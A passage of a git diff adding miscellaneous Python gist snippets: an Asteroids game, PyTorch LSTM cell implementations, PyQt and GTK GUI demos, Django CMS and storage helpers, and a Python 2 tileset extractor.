+    inwidth = (center[0] - size[0] / 2) < pos[0] < (center[0] + size[0] / 2)
+    inheight = (center[1] - size[1] / 2) < pos[1] < (center[1] + size[1] / 2)
+    if (not started) and inwidth and inheight:
+        started = True
+        lives = 3
+        score = 0
+        soundtrack.rewind()
+        soundtrack.play()
+
+
+def draw(canvas):
+    global time, started, score, lives, rock_group, my_ships
+
+    # animiate background
+    time += 1
+    center = debris_info.get_center()
+    size = debris_info.get_size()
+    wtime = (time / 8) % center[0]
+    canvas.draw_image(nebula_image, nebula_info.get_center(),
+                      nebula_info.get_size(), [WIDTH / 2, HEIGHT / 2],
+                      [WIDTH, HEIGHT])
+    canvas.draw_image(debris_image, [center[0] - wtime, center[1]],
+                      [size[0] - 2 * wtime, size[1]],
+                      [WIDTH / 2 + 1.25 * wtime, HEIGHT / 2],
+                      [WIDTH - 2.5 * wtime, HEIGHT])
+    canvas.draw_image(debris_image, [size[0] - wtime, center[1]],
+                      [2 * wtime, size[1]], [1.25 * wtime, HEIGHT / 2],
+                      [2.5 * wtime, HEIGHT])
+
+    # increase rock's velocity using score
+    for rock in rock_group:
+        for i in range(2):
+            rock.vel[i] = rock.init_vel[i] + (rock.init_vel[i] * score * 0.03)
+
+    # draw ship and sprites
+    my_ship.draw(canvas)
+    my_ship.update()
+    process_sprite_group(rock_group, canvas)
+    process_sprite_group(missile_group, canvas)
+    process_sprite_group(explosion_group, canvas)
+
+    # process collisions
+    if group_collide(rock_group, my_ship):
+        lives -= 1
+    score += group_group_collide(missile_group, rock_group) * 10
+
+    # check game over
+    if lives == 0:
+        rock_group = set()
+        started = False
+
+    # draw UI
+    canvas.draw_text("Lives", [50, 50], 22, "White", "sans-serif")
+    canvas.draw_text("Score", [680, 50], 22, "White", "sans-serif")
+    canvas.draw_text(str(lives), [50, 80], 22, "White", "sans-serif")
+    canvas.draw_text(str(score), [680, 80], 22, "White", "sans-serif")
+
+    # draw splash screen if not started
+    if not started:
+        canvas.draw_image(splash_image, splash_info.get_center(),
+                          splash_info.get_size(), [WIDTH / 2, HEIGHT / 2],
+                          splash_info.get_size())
+
+
+# timer handler that spawns a rock
+def rock_spawner():
+    global rock_group, started
+    if len(rock_group) > 12 or not started:
+        return
+    rock_vel = [random.random() * .6 - .3, random.random() * .6 - .3]
+    rock_avel = random.random() * .2 - .1
+    rock_pos = [random.randrange(0, WIDTH), random.randrange(0, HEIGHT)]
+    # ensure rock_pos is at least 100px away of my_ship
+    while dist(rock_pos, my_ship.pos) < 100:
+        rock_pos = [random.randrange(0, WIDTH), random.randrange(0, HEIGHT)]
+    # add rock to the group
+    rock_group.add(Sprite(rock_pos, rock_vel, 0, rock_avel,
+                          asteroid_image, asteroid_info))
+
+
+# initialize stuff
+frame = simplegui.create_frame("Asteroids", WIDTH, HEIGHT)
+
+# initialize ship and two sprites
+my_ship = Ship([WIDTH / 2, HEIGHT / 2], [0, 0], 0, ship_image, ship_info)
+rock_group = set()
+missile_group = set()
+explosion_group = set()
+
+
+# register handlers
+frame.set_keyup_handler(keyup)
+frame.set_keydown_handler(keydown)
+frame.set_mouseclick_handler(click)
+frame.set_draw_handler(draw)
+
+timer = simplegui.create_timer(1000.0, rock_spawner)
+
+# get things rolling
+timer.start()
+frame.start()
diff --git a/hard-gists/57901e91e5c5a8bac3eb0cbbdd3aba81/._snippet.py b/hard-gists/57901e91e5c5a8bac3eb0cbbdd3aba81/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/57901e91e5c5a8bac3eb0cbbdd3aba81/._snippet.py differ
diff --git a/hard-gists/57901e91e5c5a8bac3eb0cbbdd3aba81/snippet.py b/hard-gists/57901e91e5c5a8bac3eb0cbbdd3aba81/snippet.py
new file mode 100644
index 00000000..2f6fd906
--- /dev/null
+++ b/hard-gists/57901e91e5c5a8bac3eb0cbbdd3aba81/snippet.py
@@ -0,0 +1,148 @@
+# Collection of LSTM cells (including forget gates)
+# https://en.wikipedia.org/w/index.php?title=Long_short-term_memory&oldid=784163987
+
+import torch
+from torch import nn
+from torch.nn import Parameter
+from torch.nn import functional as F
+from torch.nn.modules.utils import _pair
+from torch.autograd import Variable
+
+
+class LSTMCell(nn.LSTMCell):
+  def forward(self, input, hx):
+    h, c = hx
+
+    wx = F.linear(input, self.weight_ih, self.bias_ih)  # Weights combined into one matrix
+    wh = F.linear(h, self.weight_hh, self.bias_hh)
+    wxh = wx + wh
+
+    i = F.sigmoid(wxh[:, :self.hidden_size])  # Input gate
+    f = F.sigmoid(wxh[:, self.hidden_size:2 * self.hidden_size])  # Forget gate
+    g = F.tanh(wxh[:, 2 * self.hidden_size:3 * self.hidden_size])  # Cell gate?
+    o = F.sigmoid(wxh[:, 3 * self.hidden_size:])  # Output gate
+    
+    c = f * c + i * g  # Cell
+    h = o * F.tanh(c)  # Hidden state
+    return h, (h, c)
+
+
+class PeepholeLSTMCell(nn.LSTMCell):
+  def __init__(self, input_size, hidden_size, bias=True):
+    super(PeepholeLSTMCell, self).__init__(input_size, hidden_size, bias)
+    self.weight_ch = Parameter(torch.Tensor(3 * hidden_size, hidden_size))
+    if bias:
+      self.bias_ch = Parameter(torch.Tensor(3 * hidden_size))
+    else:
+      self.register_parameter('bias_ch', None)
+    self.register_buffer('wc_blank', torch.zeros(hidden_size))
+    self.reset_parameters()
+
+  def forward(self, input, hx):
+    h, c = hx
+
+    wx = F.linear(input, self.weight_ih, self.bias_ih)
+    wh = F.linear(h, self.weight_hh, self.bias_hh)
+    wc = F.linear(c, self.weight_ch, self.bias_ch)
+    wxhc = wx + wh + torch.cat((wc[:, :2 * self.hidden_size], Variable(self.wc_blank).expand_as(h), wc[:, 2 * self.hidden_size:]), 1)
+
+    i = F.sigmoid(wxhc[:, :self.hidden_size])
+    f = F.sigmoid(wxhc[:, self.hidden_size:2 * self.hidden_size])
+    g = F.tanh(wxhc[:, 2 * self.hidden_size:3 * self.hidden_size])  # No cell involvement
+    o = F.sigmoid(wxhc[:, 3 * self.hidden_size:])
+    
+    c = f * c + i * g
+    h = o * F.tanh(c)
+    return h, (h, c)
+
+
+class Conv2dLSTMCell(nn.Module):
+  def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, dilation=1, groups=1, bias=True):
+    super(Conv2dLSTMCell, self).__init__()
+    if in_channels % groups != 0:
+        raise ValueError('in_channels must be divisible by groups')
+    if out_channels % groups != 0:
+        raise ValueError('out_channels must be divisible by groups')
+    kernel_size = _pair(kernel_size)
+    stride = _pair(stride)
+    padding = _pair(padding)
+    dilation = _pair(dilation)
+    self.in_channels = in_channels
+    self.out_channels = out_channels
+    self.kernel_size = kernel_size
+    self.stride = stride
+    self.padding = padding
+    self.padding_h = tuple(k // 2 for k, s, p, d in zip(kernel_size, stride, padding, dilation))
+    self.dilation = dilation
+    self.groups = groups
+    self.weight_ih = Parameter(torch.Tensor(4 * out_channels, in_channels // groups, *kernel_size))
+    self.weight_hh = Parameter(torch.Tensor(4 * out_channels, out_channels // groups, *kernel_size))
+    self.weight_ch = Parameter(torch.Tensor(3 * out_channels, out_channels // groups, *kernel_size))
+    if bias:
+      self.bias_ih = Parameter(torch.Tensor(4 * out_channels))
+      self.bias_hh = Parameter(torch.Tensor(4 * out_channels))
+      self.bias_ch = Parameter(torch.Tensor(3 * out_channels))
+    else:
+      self.register_parameter('bias_ih', None)
+      self.register_parameter('bias_hh', None)
+      self.register_parameter('bias_ch', None)
+    self.register_buffer('wc_blank', torch.zeros(out_channels))
+    self.reset_parameters()
+
+  def reset_parameters(self):
+    n = 4 * self.in_channels
+    for k in self.kernel_size:
+      n *= k
+    stdv = 1. / math.sqrt(n)
+    self.weight_ih.data.uniform_(-stdv, stdv)
+    self.weight_hh.data.uniform_(-stdv, stdv)
+    self.weight_ch.data.uniform_(-stdv, stdv)
+    if self.bias_ih is not None:
+      self.bias_ih.data.uniform_(-stdv, stdv)
+      self.bias_hh.data.uniform_(-stdv, stdv)
+      self.bias_ch.data.uniform_(-stdv, stdv)
+
+  def forward(self, input, hx):
+    h_0, c_0 = hx
+
+    wx = F.conv2d(input, self.weight_ih, self.bias_ih, self.stride, self.padding, self.dilation, self.groups)
+    wh = F.conv2d(h_0, self.weight_hh, self.bias_hh, self.stride, self.padding_h, self.dilation, self.groups)
+    # Cell uses a Hadamard product instead of a convolution?
+    wc = F.conv2d(c_0, self.weight_ch, self.bias_ch, self.stride, self.padding_h, self.dilation, self.groups)
+    wxhc = wx + wh + torch.cat((wc[:, :2 * self.out_channels], Variable(self.wc_blank).expand(wc.size(0), wc.size(1) // 3, wc.size(2), wc.size(3)), wc[:, 2 * self.out_channels:]), 1)
+
+    i = F.sigmoid(wxhc[:, :self.out_channels])
+    f = F.sigmoid(wxhc[:, self.out_channels:2 * self.out_channels])
+    g = F.tanh(wxhc[:, 2 * self.out_channels:3 * self.out_channels])
+    o = F.sigmoid(wxhc[:, 3 * self.out_channels:])
+    
+    c_1 = f * c_0 + i * g
+    h_1 = o * F.tanh(c_1)
+    return h_1, (h_1, c_1)
+
+
+lstm = LSTMCell(2, 1)
+peeplstm = PeepholeLSTMCell(2, 1)
+convlstm = Conv2dLSTMCell(2, 1, (3, 5), stride=1, padding=(0, 1))
+
+x = Variable(torch.ones(1, 2))
+h = Variable(torch.ones(1, 1))
+c = Variable(torch.ones(1, 1))
+t = Variable(torch.zeros(1, 1))
+
+y, hx = lstm(x, (h, c))
+loss = (y - t).mean()
+loss.backward()
+
+y, hx = peeplstm(x, (h, c))
+loss = (y - t).mean()
+loss.backward()
+
+x.data.resize_(1, 2, 22, 22).random_()
+h.data.resize_(1, 1, 20, 20).random_()
+c.data.resize_(1, 1, 20, 20).random_()
+t.data.resize_(1, 1, 20, 20).random_()
+
+y, hx = convlstm(x, (h, c))
+loss = (y - t).mean()
+loss.backward()
\ No newline at end of file
diff --git a/hard-gists/5793291/._snippet.py b/hard-gists/5793291/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5793291/._snippet.py differ
diff --git a/hard-gists/5793291/snippet.py b/hard-gists/5793291/snippet.py
new file mode 100644
index 00000000..f808fb6e
--- /dev/null
+++ b/hard-gists/5793291/snippet.py
@@ -0,0 +1,27 @@
+from PyQt4 import QtCore, QtGui
+
+class ColorBox(QtGui.QFrame):
+
+    def __init__(self,parent=None):
+        super(ColorBox,self).__init__(parent)
+        
+        self.bgColor = QtCore.Qt.white      
+        self.setFixedHeight(20)
+        self.setFrameStyle(1)
+        self.setStyleSheet("QWidget { border-color: rgba(0,0,0,0)}")
+       
+    def mousePressEvent(self, e):
+        if e.buttons() == QtCore.Qt.LeftButton:
+            col = QtGui.QColorDialog.getColor(self.bgColor, self)
+   
+            if col.isValid():
+                rgb = (col.red(), col.green(), col.blue())
+                self.setStyleSheet("QWidget { background-color: rgb(%d,%d,%d) }" % rgb)
+                self.bgColor = col
+
+
+if __name__ == "__main__":
+    app = QtGui.QApplication([])
+    c = ColorBox()
+    c.show()
+    app.exec_()
\ No newline at end of file
diff --git a/hard-gists/5794494/._snippet.py b/hard-gists/5794494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5794494/._snippet.py differ
diff --git a/hard-gists/5794494/snippet.py b/hard-gists/5794494/snippet.py
new file mode 100644
index 00000000..969bf74a
--- /dev/null
+++ b/hard-gists/5794494/snippet.py
@@ -0,0 +1,104 @@
+#!/usr/bin/python3
+from gi.repository import Gtk, Gdk
+import sys
+
+
+class MyWindow(Gtk.Window):
+
+    def __init__(self):
+        Gtk.Window.__init__(self, title="Hello World")
+        self.set_name('MyWindow')
+        self.set_default_size(600, 300)
+
+        self.box = Gtk.HBox()
+        self.box.set_halign(Gtk.Align.CENTER)
+        self.box.set_valign(Gtk.Align.CENTER)
+        self.add(self.box)
+
+        self.button1 = Gtk.Button(label="Hello")
+        self.button1.connect("clicked", self.on_button1_clicked)
+        self.box.pack_start(self.button1, True, True, 0)
+
+        self.button2 = Gtk.Button(label="Goodbye")
+        self.button2.connect("clicked", self.on_button2_clicked)
+        self.box.pack_start(self.button2, True, True, 0)
+
+    def on_button1_clicked(self, widget):
+        print("Hello")
+
+    def on_button2_clicked(self, widget):
+        print("Goodbye")
+
+
+def main(argv):
+
+    def gtk_style():
+        css = b"""
+* {
+    transition-property: color, background-color, border-color, background-image, padding, border-width;
+    transition-duration: 1s;
+
+    font: Cantarell 20px;
+}
+
+GtkWindow {
+    background: linear-gradient(153deg, #151515, #151515 5px, transparent 5px) 0 0,
+                linear-gradient(333deg, #151515, #151515 5px, transparent 5px) 10px 5px,
+                linear-gradient(153deg, #222, #222 5px, transparent 5px) 0 5px,
+                linear-gradient(333deg, #222, #222 5px, transparent 5px) 10px 10px,
+                linear-gradient(90deg, #1b1b1b, #1b1b1b 10px, transparent 10px),
+                linear-gradient(#1d1d1d, #1d1d1d 25%, #1a1a1a 25%, #1a1a1a 50%, transparent 50%, transparent 75%, #242424 75%, #242424);
+    background-color: #131313;
+    background-size: 20px 20px;
+}
+
+.button {
+    color: black;
+    background-color: #bbb;
+    border-style: solid;
+    border-width: 2px 0 2px 2px;
+    border-color: #333;
+
+    padding: 12px 4px;
+}
+
+.button:first-child {
+    border-radius: 5px 0 0 5px;
+}
+
+.button:last-child {
+    border-radius: 0 5px 5px 0;
+    border-width: 2px;
+}
+
+.button:hover {
+    padding: 12px 48px;
+    background-color: #4870bc;
+}
+
+.button *:hover {
+    color: white;
+}
+
+.button:hover:active,
+.button:active {
+    background-color: #993401;
+}
+        """
+        style_provider = Gtk.CssProvider()
+        style_provider.load_from_data(css)
+
+        Gtk.StyleContext.add_provider_for_screen(
+            Gdk.Screen.get_default(),
+            style_provider,
+            Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION
+        )
+
+    gtk_style()
+    win = MyWindow()
+    win.connect("delete-event", Gtk.main_quit)
+    win.show_all()
+    Gtk.main()
+
+if __name__ == "__main__":
+    main(sys.argv)
diff --git a/hard-gists/5796677/._snippet.py b/hard-gists/5796677/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5796677/._snippet.py differ
diff --git a/hard-gists/5796677/snippet.py b/hard-gists/5796677/snippet.py
new file mode 100644
index 00000000..c87fad4a
--- /dev/null
+++ b/hard-gists/5796677/snippet.py
@@ -0,0 +1,58 @@
+from classytags.arguments import Argument, MultiValueArgument
+from classytags.values import StringValue
+
+from cms.templatetags.cms_tags import Placeholder, PlaceholderOptions
+from cms.models.placeholdermodel import Placeholder as PlaceholderModel
+
+from django import template
+from django.utils.safestring import mark_safe
+
+register = template.Library()
+
+
+class RenderGetPlaceholder(Placeholder):
+    """
+    Render the content of a placeholder to a variable. Can be provided
+    with the name of the placholder (i.e. "Header" in the case of a normal
+    CMS page) or a template variable containing a placeholder (i.e. myentry.content in the
+    case of an external app using a placeholder)
+
+    {% get_placeholder ["string"|placeholder_var] as variable_name %}
+    
+    e.g.
+    {% load extra_cms_tags %}
+    {% get_placeholder "My Placeholder" as my_placeholder %}
+
+    {% if my_placeholder %}
+    <div>
+        {{ my_placeholder }}
+    </div>
+    {% endif %}
+    """
+    name = "get_placeholder"
+
+    options = PlaceholderOptions(
+        Argument('name', resolve=True),
+        MultiValueArgument('extra_bits', required=False, resolve=False),
+        'as',
+        Argument('varname', resolve=False, required=True),
+        blocks=[
+            ('endplaceholder', 'nodelist'),
+        ],
+    )
+
+    def render_tag(self, context, name, extra_bits, varname, nodelist=None):
+        if isinstance(name, PlaceholderModel):
+            content = name.render(context, None)
+        else:
+            content = super(RenderGetPlaceholder, self).render_tag(context, name, extra_bits, nodelist)
+        context[varname] = mark_safe(content)
+        return ""
+
+    def get_name(self):
+        # Fix some template voodoo causing errors
+        if isinstance(self.kwargs['name'].var, StringValue):
+            return self.kwargs['name'].var.value.strip('"').strip("'")
+        return self.kwargs['name'].var.var
+
+register.tag(RenderGetPlaceholder)
diff --git a/hard-gists/5803651/._snippet.py b/hard-gists/5803651/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5803651/._snippet.py differ
diff --git a/hard-gists/5803651/snippet.py b/hard-gists/5803651/snippet.py
new file mode 100644
index 00000000..a419ff78
--- /dev/null
+++ b/hard-gists/5803651/snippet.py
@@ -0,0 +1,385 @@
+# Filename  : Image2Map.py
+# Authors   : Alex Swan, Georg Muntingh and Bjorn Lindeijer
+# Version   : 1.3
+# Date      : June 17, 2013
+# Copyright : Public Domain
+
+import os, sys, networkx
+from PIL import Image
+
+class TileMap:
+    """ This class represents a map of tiles.
+    """
+
+    def __init__(self, file, tileX, tileY):
+        # For initialization, map image with filename file should be specified, together with the
+        # tile size (tile X, tileY). First we set the tile sizes.
+        self.TileX, self.TileY = tileX, tileY
+
+        # Open the map and find its attributes.
+        print "Opening the map image file: " + file
+        self.MapImage = Image.open(file)
+        self.MapImageWidth, self.MapImageHeight = self.MapImage.size
+        self.Width, self.Height = self.MapImageWidth / self.TileX, self.MapImageHeight / self.TileY
+
+        # Store the unique tiles in a list and a hash, and the map in a list.
+        self.MapList, self.TileList, self.TileDict = self.parseMap()
+
+        # Create a graph that contains the information that is relevant for the article.
+        self.graphFromList()
+
+        # We create a dictionary self.FullTileMap whose keys will be the coordinates
+        # for the image of unique tiles, and the values are the unique tile numbers.
+        self.FullTileMap = {}
+
+        # Extract maximal components from G into the dictionary TileMap, and combine them
+        # into self.FullTileMap using a method that places them as close to each other as
+        # possible.
+        while self.G.nodes() != []:
+            v = self.G.nodes()[0]
+            TileMap, K = self.growTileMap({(0, 0): v}, self.G, 0, 0, v)
+            self.FullTileMap = self.composeDictionaries(self.FullTileMap, TileMap)
+            self.G.remove_nodes_from(TileMap.values())
+
+        # Create an image file from our map of unique tiles.
+        self.TileImage = self.getTileImage()
+
+    def parseMap(self):
+        """ This function takes the map image, and obtains
+            * a list TList of unique tiles.
+            * a hash TDict of unique tiles.
+            * a double list self.MapList of where an entry equals i if
+                self.TileList[i] is the corresponding picture on the map image.
+        """
+
+        MList = [[-1 for i in range(self.Width)] for j in range(self.Height)]  # TODO: Make this a single list
+        TList = []
+        TDict = {}
+        progress = -1
+        print "Parsing the Map: "
+
+        # Jump through the map image in 8 x 8-tile steps. In each step:
+        #  * If the string of the tile is in the dictionary, place its value in map list MList[y][x].
+        #  * Otherwise, add this tile to the list, and add its string to the dictionary with value "the
+        #    number of elements in the list". Also place this value in MList[y][x].
+        for y in range(self.Height):
+            for x in range(self.Width):
+                box = self.TileX * x, self.TileY * y, self.TileX * (x+1), self.TileY * (y+1)
+                tile = self.MapImage.crop(box)
+                s = tile.tostring()
+
+                if TDict.has_key(s):
+                    MList[y][x] = TDict[s]
+                else:
+                    TList.append(tile)
+                    TDict[s] = len(TList)
+                    MList[y][x] = len(TList)
+
+                # Calculate the progress, and print it to the screen.
+                p = ((x + y * self.Width) * 100) / (self.Width * self.Height)
+                if progress != p:
+                    progress = p
+                    self.printProgress(progress)
+
+        self.printProgress(100)
+        print "Done!"
+
+        return MList, TList, TDict
+
+    def printProgress(self, percentage):
+        """ This function prints the percentage on the current row after erasing what is already there.
+        """
+        print '%s\r' % ' '*20,       # clean up row
+        print '%3d%% ' % percentage, # ending with comma prevents newline from being appended
+        sys.stdout.flush()
+
+    def getTileImage(self):
+        """ This function takes the hash of unique tiles self.FullTileMap and
+            creates a tileset image from it.
+        """
+
+        H = self.FullTileMap
+
+        Xmin = min([ h[1] for h in H.keys() ])
+        Xmax = max([ h[1] for h in H.keys() ])
+        Ymin = min([ h[0] for h in H.keys() ])
+        Ymax = max([ h[0] for h in H.keys() ])
+
+        TileImage = Image.new("RGB", (self.TileX * (Xmax - Xmin + 1), self.TileY * (Ymax - Ymin + 1) ) )
+
+        for i in range(Ymin, Ymax + 1):
+            for j in range(Xmin, Xmax + 1):
+                if (i,j) in H:
+                    box = ( self.TileX * (j - Xmin)    , self.TileY * (i - Ymin), \
+                            self.TileX * (j - Xmin + 1), self.TileY * (i - Ymin + 1) ) 
+                    TileImage.paste(self.TileList[H[(i,j)] - 1].convert("RGB"), box)
+
+        return TileImage
+
+    def printHash(self, H):
+        """ This function nicely aligns dictionaries with elements of the form
+            "(y, x): n" in a table, in which row y, column x has entry n.
+
+            In this specific case (x, y) will be the tile coordinates at which
+            tile n will be placed in the tile image.
+        """
+
+        Xmin = min([ h[1] for h in H.keys() ])
+        Xmax = max([ h[1] for h in H.keys() ])
+        Ymin = min([ h[0] for h in H.keys() ])
+        Ymax = max([ h[0] for h in H.keys() ])
+
+        # Find the number of symbols we need to write down the tile numbers.
+        D = len(str(max(H.values())))
+
+        st = ""
+        for i in range(Ymin, Ymax + 1):
+            for j in range(Xmin, Xmax + 1):
+
+                if not (i,j) in H:
+                    st = st + "|"
+                    for k in range(D):
+                        st = st + "."
+                else:
+                    h = H[(i,j)]
+                    d = len(str(h))
+
+                    st = st + "|"
+                    for k in range(D-d):
+                        st = st + "."
+
+                    st = st + str(h)
+
+            st = st + "|\n"
+
+        print st
+
+    def addEdge(self, s, t, dir):
+        """ This function increases abs(value) of an edge st in a graph G, taking the
+            'direction' of st into account.
+
+                s: a start vertex
+                t: an end  vertex
+              dir: a value depicting the st-direction,
+                        +1 for left -> right
+                        -1 for up   -> down
+        """
+
+        if self.G.has_edge(s, t):
+            values = [ value for value in self.G.get_edge_data(s, t) if (dir * value) > 0 ]
+        else:
+            values = []
+
+        if values:
+            self.G.remove_edge(s, t, values[0])    # increase the value by 1
+            self.G.add_edge(s, t, values[0] + dir)
+        else:
+            self.G.add_edge(s, t, dir)             # create a dir-valued edge
+
+    def graphFromList(self):
+        """ This function constructs a weighted directed graph from the 
+            list that depicts the map using the following scheme:
+                Left A, Right B -> add (A, B, 1)
+                Left B, Right A -> add (B, A, 1)
+                Up   A, Down  B -> add (A, B,-1)
+                Up   B, Down  A -> add (B, A,-1)
+            We then add all similar edges together, so for instance
+                (A, B, 1) and (A, B,  1) -> (A, B, 2)
+            but *NOT*
+                (A, B, 1) and (A, B, -1) -> (A, B, 0)
+        """
+
+        self.G = networkx.MultiDiGraph(selfloops = False, multiedges = True)
+        L = self.MapList
+        progress = -1
+        print "Generating the graph: "
+
+        # Now add for every Cartesian crossing an edge (or a value) in G
+        for i in range(len(L) - 1):
+            for j in range(len(L[0]) - 1):
+                self.addEdge(L[i][j], L[i][j + 1],  1) # L-R, +1
+                self.addEdge(L[i][j], L[i + 1][j], -1) # U-D, -1
+
+                # Calculate the progress, and print it to the screen.
+                p = ((j + i * len(L)) * 100) / (len(L) * len(L[0]))
+                if progress != p:
+                    progress = p
+                    self.printProgress(progress)
+
+        # What remains is the bottom and right line of edges:
+        for j in range(len(L[0]) - 1):
+            self.addEdge(L[len(L) - 1][j], L[len(L) - 1][j + 1],  1)
+
+        for i in range(len(L) - 1):
+            self.addEdge(L[i][len(L[0]) - 1], L[i + 1][len(L[0]) - 1], -1)
+
+        # Now show 100% progress and say we're done.
+        self.printProgress(100)
+        print "Done!"
+
+
+    def growTileMap(self, TileMap, G, posX, posY, curV):
+        """ This is a recursive function that arranges a map of unique tiles.
+        """
+
+        # For each of the directions, make a possible edge-list to choose from,
+        # and combine them into one list Edges such that Edges[i] stands
+        # for the edges with direction code i, where
+        #       0 <-> up
+        #       1 <-> right
+        #       2 <-> down
+        #       3 <-> left
+        LL = [e for e in G.in_edges(curV, keys=True, data=True)  if e[2] > 0]
+        LU = [e for e in G.in_edges(curV, keys=True, data=True)  if e[2] < 0]
+        LR = [e for e in G.out_edges(curV, keys=True, data=True) if e[2] > 0]
+        LD = [e for e in G.out_edges(curV, keys=True, data=True) if e[2] < 0]
+        Edges = [LU, LR, LD, LL]
+
+        # We want to visit all directions such that we visit the direction with
+        # the smallest amount of possible tiles first. This is because these tiles
+        # will have the smallest probability to fit in at a later stage. It will
+        # also embed blocks of tiles that appear only in one configuration
+        # (pictures chopped up in tiles).
+        dir = [ [ Edges[i], i ] for i in range(4)]
+        dir.sort(cmp = lambda L1, L2: len(L1[0]) - len(L2[0]))
+        dir = [ x[1] for x in dir]
+
+        while dir != []:
+            direction = dir[0]
+
+            if Edges[direction] != []:
+                E = Edges[direction]
+
+                # Now order E with respect to the values of its edges. This will
+                # make the algorithm start with a combination that appears most
+                # often in the graph, which is a measure for how much two tiles
+                # "belong together".
+                E.sort(cmp = lambda e, f: abs(e[2]) - abs(f[2]), reverse = True)
+
+                # Now walk through E until you find an edge that fits with
+                # the previously placed tiles in TileMap
+                isPlaced = False
+                while E != [] and isPlaced == False:
+                    e = E[0]
+
+                    # We need to know the end vertex and the new position.
+                    if direction == 0:
+                        endV = e[0]
+                        NX, NY = posX, posY - 1
+                    elif direction == 1:
+                        endV = e[1]
+                        NX, NY = posX + 1, posY
+                    elif direction == 2:
+                        endV = e[1]
+                        NX, NY = posX, posY + 1
+                    elif direction == 3:
+                        endV = e[0]
+                        NX, NY = posX - 1, posY
+
+                    # Now in case position NX, NY is not already taken and endV is
+                    # compatible with "surrounding edges" in our graph, then we can
+                    # add endV to our TileMap.
+                    if  (not (NY, NX) in TileMap) and (TileMap.values().count(endV) == 0) and \
+                        ( (not (NY-1, NX) in TileMap) or G.has_edge(TileMap[(NY-1, NX)], endV) ) and \
+                        ( (not (NY, NX+1) in TileMap) or G.has_edge(endV, TileMap[(NY, NX+1)]) ) and \
+                        ( (not (NY+1, NX) in TileMap) or G.has_edge(endV, TileMap[(NY+1), NX]) ) and \
+                        ( (not (NY, NX-1) in TileMap) or G.has_edge(TileMap[(NY, NX-1)], endV) ):
+
+                        # Add this node to our TileMap and delete the edge we just processed.
+                        TileMap[(NY, NX)] = endV
+                        isPlaced = True
+                        G.remove_edge(e[0], e[1])
+
+                        # Call the procedure recursively with this new node.
+                        TileMap, G = self.growTileMap(TileMap, G, NX, NY, endV)
+
+                    E = E[1:len(E)]     # Chop of the first edge
+
+            dir = dir[1:len(dir)]       # Chop of the first direction
+
+        return TileMap, G
+
+    def centerOfDictionary(self, H):
+        """ Returns the center of the dictionary, that is, the average of all keys.
+        """
+
+        L = H.keys()
+        return [ int(round( sum([l[1] for l in L]) / (len(L) + 0.0) )), \
+                 int(round( sum([l[0] for l in L]) / (len(L) + 0.0) )) ]
+
+    def composeDictionaries(self, H1, H2):
+        """ This method takes two dictionaries H1, H2 that represent pieces of the
+            maps of unique tiles, and pastes the second into the first, as close to
+            their centers -- as close together -- as possible.
+        """
+
+        # In the first step H1 will be empty, and we return just H2.
+        if H1 == {}:
+            return H2
+
+        CX1, CY1 = self.centerOfDictionary(H1)
+        CX2, CY2 = self.centerOfDictionary(H2)
+
+        # To make sure we fit H2 in as central as possible in H1, we walk in a spiral
+        # around the center of H1, the offset being X, Y.
+        #   |.4|.5|.6|
+        #   |.3|.0|.7|
+        #   |.2|.1|.8|
+        #      ...|.9|
+        X, Y = 0, 0
+        foundFit = False
+        while foundFit == False:
+            # We check if H2 can be placed at location (CX1 + X, CY1 + Y)
+            isFit = True
+            keys = H2.keys()
+
+            # As long as there are keys in H2 left and we found no counter example:
+            while keys != [] and isFit:
+                (y, x) = keys.pop()
+                x1, y1 = x - CX2 + CX1 + X, y - CY2 + CY1 + Y
+
+                if H1.has_key((y1, x1)) or H1.has_key((y1 - 1, x1)) or H1.has_key((y1, x1 + 1)) or \
+                   H1.has_key((y1 + 1, x1)) or H1.has_key((y1, x1 - 1)):
+                    isFit = False
+
+            # If we found a fit, embed H2 into H1 accordingly.
+            if isFit:
+                for (y, x) in H2.keys():
+                    x1, y1 = x - CX2 + CX1 + X, y - CY2 + CY1 + Y
+                    H1[(y1, x1)] = H2[(y, x)]
+
+                foundFit = True
+
+            # Update the offset (X, Y) from the center of H1, by spiraling away.
+            if X == 0 and Y == 0:
+                Y += 1                          # The first direction away from (0,0)
+            elif Y < 0 and X < -Y and X >=  Y: 
+                X += 1
+            elif X > 0 and Y <= X and Y >= -X:
+                Y += 1
+            elif Y > 0 and X > -Y and X <   Y:
+                X -= 1
+            elif X < 0 and Y >  X and Y <= -X: 
+                Y -= 1
+
+        return H1
+
+if sys.argv[1] == "--help":
+    print "Usage  : python Image2Map.py [tileX] [tileY] files..."
+    print "Example: python Image2Map.py 8 8 Sewers.png Caves.png"
+elif len(sys.argv) < 4:
+    print "Error  : You specified too few arguments!\n"
+    print "Usage  : python Image2Map.py [tileX] [tileY] files..."
+    print "Example: python Image2Map.py 8 8 Sewers.png Caves.png"
+else:
+    tileX, tileY = int(sys.argv[1]), int(sys.argv[2])
+
+    for file in sys.argv[3:]:
+        map = TileMap(file, tileX, tileY)
+
+        tilefile = os.path.splitext(file)[0] + "-Tileset" + ".png"
+        print "Saving the tileset image into the file: " + tilefile
+        map.TileImage.save( tilefile, "PNG" )
+
+        print "Pretty-printing the tileset:" + "\n"
+        map.printHash(map.FullTileMap)
\ No newline at end of file
diff --git a/hard-gists/5803923/._snippet.py b/hard-gists/5803923/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5803923/._snippet.py differ
diff --git a/hard-gists/5803923/snippet.py b/hard-gists/5803923/snippet.py
new file mode 100644
index 00000000..2d671313
--- /dev/null
+++ b/hard-gists/5803923/snippet.py
@@ -0,0 +1,114 @@
+from django.conf import settings
+from django.core.files.storage import Storage
+from django.utils import importlib
+
+
+def load_class(class_string):
+    class_module, class_name = class_string.rsplit('.', 1)
+    class_module = importlib.import_module(class_module)
+    return getattr(class_module, class_name)
+
+
+class HybridStorage(Storage):
+    """
+    Allows you to declare a list of storage backends to use. For each operation,
+    each is accessed in sequence until one returns successfully.
+
+    The main use case is to allow us to develop with production imagery from S3,
+    but to transparently handle any file uploads with local file storage (so as
+    not to impact upon the production environment)
+    """
+
